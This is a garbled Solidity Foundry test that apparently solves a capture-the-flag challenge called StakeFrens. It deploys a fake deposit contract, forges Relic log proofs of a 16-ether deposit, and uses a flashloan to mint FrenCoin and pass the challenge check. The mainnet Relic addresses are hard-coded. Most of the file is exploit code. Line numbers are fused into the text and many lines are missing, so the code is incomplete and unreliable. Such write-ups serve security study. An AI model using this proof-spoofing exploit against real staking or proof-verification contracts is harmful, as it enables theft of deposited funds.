2
pragma solidity ^0.8.13;4
import {Test, console2} from "forge-std/Test.sol";5
import {IReliquary} from "relic-sdk/packages/contracts/interfaces/IReliquary.sol";6
import {IProver} from "relic-sdk/packages/contracts/interfaces/IProver.sol";7
import {Fact, FactSignature} from "relic-sdk/packages/contracts/lib/Facts.sol";8
import {FactSigs} from "relic-sdk/packages/contracts/lib/FactSigs.sol";9
import {CoreTypes} from "relic-sdk/packages/contracts/lib/CoreTypes.sol";10
import {IDepositEvents, IDepositContract} from "../src/interfaces/IDepositContract.sol";11
import {FrenPool} from "../src/FrenPool.sol";12
import {StakeFrens} from "../src/StakeFrens.sol";13
import {FrenCoin} from "../src/FrenCoin.sol";14
import {RelicMock} from "./RelicMock.sol";15
import {ETHFlashloan} from "./ETHFlashloan.sol";17
contract FakeDepositContract is IDepositContract {18
    function makeFakeDeposit(19
        bytes calldata pubkey,20
        bytes calldata withdrawal_credentials,21
        bytes calldata amount,22
        bytes calldata signature,27
            withdrawal_credentials,43
    function get_deposit_count() external pure returns (bytes memory) {47
    function get_deposit_root() external pure returns (bytes32) {48
        revert("DepositContract: deposit value too high");52
contract Solver is ETHFlashloan {53
    function callback(bytes calldata data) internal override {58
            FrenPool.DepositProof memory proof61
                (FrenCoin, address, address, FrenPool.DepositProof)63
        coin.showFrenship{value: 16 ether}(creator, prover, proof);70
        FrenPool.DepositProof calldata proof72
        assert(msg.value == FLASHLOAN_FEE);73
        flashLoan(16 ether, abi.encode(coin, creator, prover, proof));74
        coin.transfer(msg.sender, coin.balanceOf(address(this)));78
contract Solve is RelicMock, Test, IDepositEvents {79
    IReliquary constant RELIQUARY =80
        IReliquary(0x5E4DE6Bb8c6824f29c44Bd3473d44da120387d08);81
    address constant RELIC_MULTISIG =82
        0xCCEf16C5ac53714512A5Acce5Fa1984A977351bE;83
    address constant RELIC_LOG_PROVER =84
        0xED12949e9a2cF4D86a2d0cF930247214Ea84aA4e;86
    StakeFrens stakeFrens;89
    constructor() RelicMock(RELIQUARY, RELIC_MULTISIG) {}91
    function setup() public {92
        stakeFrens = new StakeFrens();93
        frenCoin = stakeFrens.frenCoin();96
    function to_little_endian_64(98
    ) internal pure returns (bytes memory ret) {100
        bytes8 bytesValue = bytes8(value);102
        ret[0] = bytesValue[7];103
        ret[1] = bytesValue[6];104
        ret[2] = bytesValue[5];105
        ret[3] = bytesValue[4];106
        ret[4] = bytesValue[3];107
        ret[5] = bytesValue[2];108
        ret[6] = bytesValue[1];109
        ret[7] = bytesValue[0];112
    function setupMockProof(113
        FakeDepositContract fake114
    ) internal returns (FrenPool.DepositProof memory proof) {115
        bytes32[] memory topics = new bytes32[](1);116
        topics[0] = DepositEvent.selector;117
        bytes memory pubkey = new bytes(48);118
        bytes memory withdrawal_credentials = stakeFrens.pools(address(this)).eth1WithdrawalCredentials();119
        uint256 deposit_amount = 16 ether;120
        DepositEventData memory deposit = DepositEventData(122
            withdrawal_credentials,123
            to_little_endian_64(uint64(deposit_amount / 1 gwei)),127
        CoreTypes.LogData memory log = CoreTypes.LogData(132
        bytes memory data = abi.encode(log);133
        FactSignature sig = FactSigs.logFactSig(0, 0, 0);134
        Fact memory fact = Fact(address(fake), sig, data);135
        proof = FrenPool.DepositProof(0, 0, 0, bytes32(0), mockProof(fact));138
    function getMockProverAndProof(139
        FakeDepositContract fake140
    ) internal returns (address prover, FrenPool.DepositProof memory proof) {141
        prover = setupMockProver();142
        proof = setupMockProof(fake);145
    function getRealProverAndProof(146
        FakeDepositContract fake147
    ) internal returns (address prover, FrenPool.DepositProof memory proof) {148
        prover = RELIC_LOG_PROVER;150
        bytes memory pubkey = new bytes(48);151
        bytes memory withdrawal_credentials = stakeFrens.pools(address(this)).eth1WithdrawalCredentials();152
        uint256 deposit_amount = 16 ether;155
        fake.makeFakeDeposit(157
            withdrawal_credentials,158
            to_little_endian_64(uint64(deposit_amount / 1 gwei)),165
    function solve() internal {166
        stakeFrens.createPool();167
        FakeDepositContract fake = new FakeDepositContract();170
            FrenPool.DepositProof memory proof171
        ) = getMockProverAndProof(fake);172
        Solver solver = new Solver();173
        solver.solve{value: solver.FLASHLOAN_FEE()}(frenCoin, address(this), prover, proof);174
        uint256 seed = stakeFrens.generate(address(this));175
        uint256 amount = uint256(uint128(uint256(keccak256(abi.encode(seed)))));176
        uint256 balance = frenCoin.balanceOf(address(this));177
        require(balance > amount, "amount too small");178
        frenCoin.transfer(address(1), balance - amount);179
        require(stakeFrens.verify(seed, amount), "challenge not solved");182
    function test() public {183
        vm.createSelectFork("mainnet");